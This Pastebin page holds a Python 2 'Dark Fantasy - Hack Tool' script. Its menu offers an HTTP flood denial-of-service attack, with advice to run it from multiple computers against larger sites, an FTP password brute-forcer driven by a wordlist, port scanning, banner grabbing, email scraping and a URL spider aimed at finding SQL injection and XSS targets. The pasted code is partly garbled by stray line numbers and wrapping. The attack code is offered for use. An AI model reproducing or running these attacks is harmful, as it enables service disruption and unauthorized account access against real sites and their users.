Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import socket
- from datetime import datetime
- import os
- import urllib2
- import subprocess
- import html2text
- import random
- from time import *
- from string import *
- from random import *
- import re
- def dos(host):
- subprocess.call( 'cls' , shell =True)
- subprocess.call( 'clear' , shell=True )
- uagent =[]
- uagent.append( "Mozilla/5.0 (compatible; MSIE 9.0;
- Windows NT 6.0) Opera 12.14" )
- uagent.append( "Mozilla/5.0 (X11; Ubuntu; Linux i686;
- rv:26.0) Gecko/20100101 Firefox/26.0" )
- uagent.append( "Mozilla/5.0 (X11; U; Linux x86_64; en-
- US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3" )
- uagent.append( "Mozilla/5.0 (Windows; U; Windows NT
- 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET
- CLR 3.5.30729)" )
- uagent.append( "Mozilla/5.0 (Windows NT 6.2)
- AppleWebKit/535.7 (KHTML, like Gecko) Comodo_
- Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7" )
- uagent.append( "Mozilla/5.0 (Windows; U; Windows NT
- 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
- (.NET CLR 3.5.30729)" )
- uagent.append( "Mozilla/5.0 (Windows; U; Windows NT
- 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1" )
- print "[*]This program will use HTTP FLOOD to dos the
- host.\n[*]It would work only on small websites if done
- only for one computer.\n[*]To take down larger websites
- run the attack from multiple computers.\n[*] For better
- performance open multiple instances of this software
- and attack at the same time.\n"
- print "[*]Host to attack: " +host
- ip =socket.gethostbyname(host)
- print "[*]IP of the host: "+ip +"\n\n"
- conn=raw_input ( "Enter the number of packets to be sent
- (depends on the site but should be more than 2000 or
- 3000 for average sites): " )
- conn=int (conn)
- for i in range(conn):
- try :
- s= socket.socket(socket.AF_INET , socket.SOCK_STREAM )
- except:
- print "Unable to create Socket. Retrying."
- continue
- random_index = randrange( len(uagent))
- try :
- s.connect((ip, 80))
- except:
- print "Unable To Connect. Retrying."
- continue
- print "[*]FLOODING!"
- s.send( "GET / HTTP/1.1\r\n" )
- s.send( "Host: "+ host+"\r\n" )
- s.send( "User-Agent: " +uagent[random_index] + "\r\n\r\n" )
- s.close()
- main()
- def imdb(movie):
- subprocess.call( 'cls' , shell =True)
- subprocess.call( 'clear' , shell=True )
- print "[*] Accessing IMDB database...\n"
- m =urllib2.urlopen( 'http://www.imdb.com/find?ref_=nv_
- sr_fn&q=' +movie.replace( ' ' , '+' )+'&s=all' )
- m =m.read()
- for i in m.split( '\n' ):
- if "result_text" in i:
- if "/title/" in i:
- if "/title/" in i.split( 'href=' )[ 1].split( '>' )[ 0].strip( "\"" ).split( "?
- ref" )[ 0]:
- link ="http://www.imdb.com" +i.split( 'href=' )[1 ].split( '>' )[ 0]
- .strip( "\"" ).split( "?ref" )[ 0]
- url =urllib2.urlopen( str (link))
- for line in url.read().split( '\n' ):
- if 'strong title' in line:
- print line.split( 'title=' )[1].split( ">" )[ 0]
- main()
- def scanner(host):
- subprocess.call( 'cls' , shell =True)
- subprocess.call( 'clear' , shell=True )
- t1 =datetime.now()
- socket.setdefaulttimeout( 2)
- print "[*] Scanning "+ host
- print "[*] Starting Scanning at "+ str (t1)
- host= socket.gethostbyname(host)
- print "[*] IP of host: "+host
- ports =
- [ 1, 5, 7, 18 , 20, 21, 22, 23, 25 , 43, 42, 53, 80, 109 , 110, 115 , 118, 443 ,
- 194 , 161, 445 , 156, 137 , 139, 3306 ]
- try :
- for port in ports:
- sock = socket.socket(socket.AF_INET , socket.SOCK_
- STREAM )
- result = sock.connect_ex((host, port))
- if result == 0:
- print "Port {} : \t Open" .format(port)
- sock.close()
- except KeyboardInterrupt :
- print "You pressed Ctrl+C"
- main()
- except socket.gaierror:
- print 'Hostname could not be resolved. Exiting'
- main()
- except socket.error:
- print "Couldn't connect to server"
- main()
- t2 =datetime.now()
- timetaken =t2 -t1
- print "[*] Scanning ended at: " +str (t2) +"\n"
- print "[*] Time taken= "+str (timetaken)
- main()
- subprocess.call( 'cls' , shell =True)
- subprocess.call( 'clear' , shell=True )
- def email(host):
- 117
- subprocess.call( 'cls' , shell =True)
- 118
- subprocess.call( 'clear' , shell=True )
- 119
- print "[*] Email addresses found on page: "
- 120
- try :
- 121
- e= urllib2.urlopen( 'http://' + str (host))
- 122
- except:
- 123
- print "Error"
- 124
- try :
- 125
- e= urllib2.urlopen( 'http://' + str (host))
- 126
- except:
- 127
- print "Error"
- 128
- try :
- 129
- cont= html2text.html2text(e.read())
- 130
- except UnicodeDecodeError :
- 131
- try :
- 132
- cont= html2text.html2text(urllib2.urlopen( 'http://' +str
- (host)).read().decode( 'utf-8' ))
- 133
- except :
- 134
- cont= urllib2.urlopen( 'http://' + str (host)).read()
- 135
- cont= cont.split( '\n' )
- 136
- for line in cont:
- 137
- if '@' in line:
- 138
- print line
- 139
- main()
- 140
- 141
- def banner(host):
- 142
- subprocess.call( 'cls' , shell =True)
- 143
- subprocess.call( 'clear' , shell=True )
- 144
- try :
- 145
- s= socket.socket(socket.AF_INET , socket.SOCK_STREAM )
- 146
- except:
- 147
- "Error"
- 148
- host= socket.gethostbyname(host)
- 149
- port =raw_input ("[*] Enter the port of the service: ")
- 150
- try :
- 151
- s.connect((host, int(port)))
- 152
- print "[*] connection successfull\nWaiting for the
- banner...\n"
- 153
- if int (port) ==80 :
- 154
- s.send( 'HEAD / HTTP/1.0\r\n\r\n' )
- 155
- data = s.recv( 1024 )
- 156
- print "\Banner:\n" +str (data)
- 157
- 158
- s.close()
- 159
- except:
- 160
- print "Connection failed"
- 161
- 162
- main()
- 163
- 164
- def ftp(server):
- 165
- subprocess.call( 'cls' , shell =True)
- 166
- subprocess.call( 'clear' , shell=True )
- 167
- print "[*]Put the password file in the same directory.\n[*]
- The passwords should be on different lines.\n"
- 168
- password =[]
- 169
- passw =raw_input ( "Enter the password file name(eg:
- pass.txt, wordlist.txt): " )
- 170
- username =raw_input ( "Enter the username to hack(eg:
- admin, root): " )
- 171
- f =open(str (passw))
- 172
- f =f.read()
- 173
- f =f.split( '\n' )
- 174
- for i in f:
- 175
- password.append( str (i))
- 176
- 177
- server= socket.gethostbyname(server)
- 178
- 179
- for password in password:
- 180
- try :
- 181
- s= socket.socket(socket.AF_INET , socket.SOCK_STREAM )
- 182
- except:
- 183
- print "Unable to create Socket."
- 184
- main()
- 185
- try :
- 186
- s.connect((server, 21))
- 187
- except:
- 188
- print "Unable To Connect."
- 189
- main()
- 190
- data = s.recv( 1024 )
- 191
- s.send( 'USER ' + username + '\r\n' )
- 192
- data = s.recv( 1024 )
- 193
- s.send( 'PASS ' + password+ '\r\n' )
- 194
- print data
- 195
- data += " "+ s.recv( 1024 )
- 196
- data += " "+ s.recv( 1024 )
- 197
- s.send( "Quit\r\n" )
- 198
- s.close
- 199
- print "[*] Tried: " +password +"\n"
- 200
- if "230" in data:
- 201
- print "password found\n"
- 202
- print "[*] Password is: " + password
- 203
- main()
- 204
- else :
- 205
- print '[*] ' + password+ " is incorrect"
- 206
- print "No password Found. Try another word list or
- username."
- 207
- 208
- def spider(host):
- 209
- subprocess.call( 'cls' , shell =True)
- 210
- subprocess.call( 'clear' , shell=True )
- 211
- print "[*] Use the result to find promising URLs to try
- hacking using SQL injection or Xss etc.\n[*] Depth is the
- level to go inside the website( between 10-20 is enough
- usually but depends on you).\n[*] Output will also be
- saved in text files in the same folder as this software.\n"
- 212
- depth = raw_input ( "Enter the depth level in numbers: " )
- 213
- count =1
- 214
- url ="http://" +host
- 215
- text =open("depth1.txt" , "w+" )
- 216
- for i in re.findall( '''href=["'](.[^"']+)["']''' , urllib2.urlopen(url)
- .read(), re.I):
- 217
- if "http" not in i:
- 218
- i ="http://" +host+ i
- 219
- print i
- 220
- text.write(i + '\n' )
- 221
- text.close()
- 222
- while (count <=int (depth)):
- 223
- text =open("depth" +str (count) +".txt" , "r" )
- 224
- text1 =open("depth" +str (count + 1)+ ".txt" , "w+" )
- 225
- if text.read() == "" :
- 226
- print "\n****Finished****"
- 227
- main()
- 228
- f =text.read().split( "\n" )
- 229
- for j in f:
- 230
- if "http" not in j:
- 231
- j ="http://" +host+ j
- 232
- 233
- for k in re.findall( '''href=["'](.[^"']+)["']''' , urllib2.urlopen(j)
- .read(), re.I):
- 234
- print k
- 235
- text1.write(k + "\n" )
- 236
- text.close()
- 237
- text1.close()
- 238
- count +=1
- 239
- main()
- 240
- 241
- def main ():
- 242
- print "-" * 60+ "\n"
- 243
- print " Dark Fantasy - Hack Tool "
- 244
- print "-" * 60+ "\n"
- 245
- print "1.Port Scanning\n2.DDOS\n3.Banner Grabbing
- \n4.Web spider(gather all URLs for web hacking)\n5.FTP
- Password Cracker\n6.Email Scraping\n7.IMDB Rating"
- 246
- choice =raw_input ( "Enter Your Choice: ")
- 247
- hostname=raw_input ( "Enter Host Site or movie name
- (eg:wwww.google.com, www.yahoo.com, Batman, The
- Flash): " )
- 248
- if choice =='1' :
- 249
- scanner(hostname)
- 250
- elif choice =='6' :
- 251
- email(hostname)
- 252
- elif choice =='3' :
- 253
- banner(hostname)
- 254
- elif choice =='7' :
- 255
- imdb(hostname)
- 256
- elif choice =='5' :
- 257
- ftp(hostname)
- 258
- elif choice =='2' :
- 259
- dos(hostname)
- 260
- elif choice =='4' :
- 261
- spider(hostname)
- 262
- else :
- 263
- print "Wrong choice"
- 264
- 265
- if __name__ =='__main__' :
- 266
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement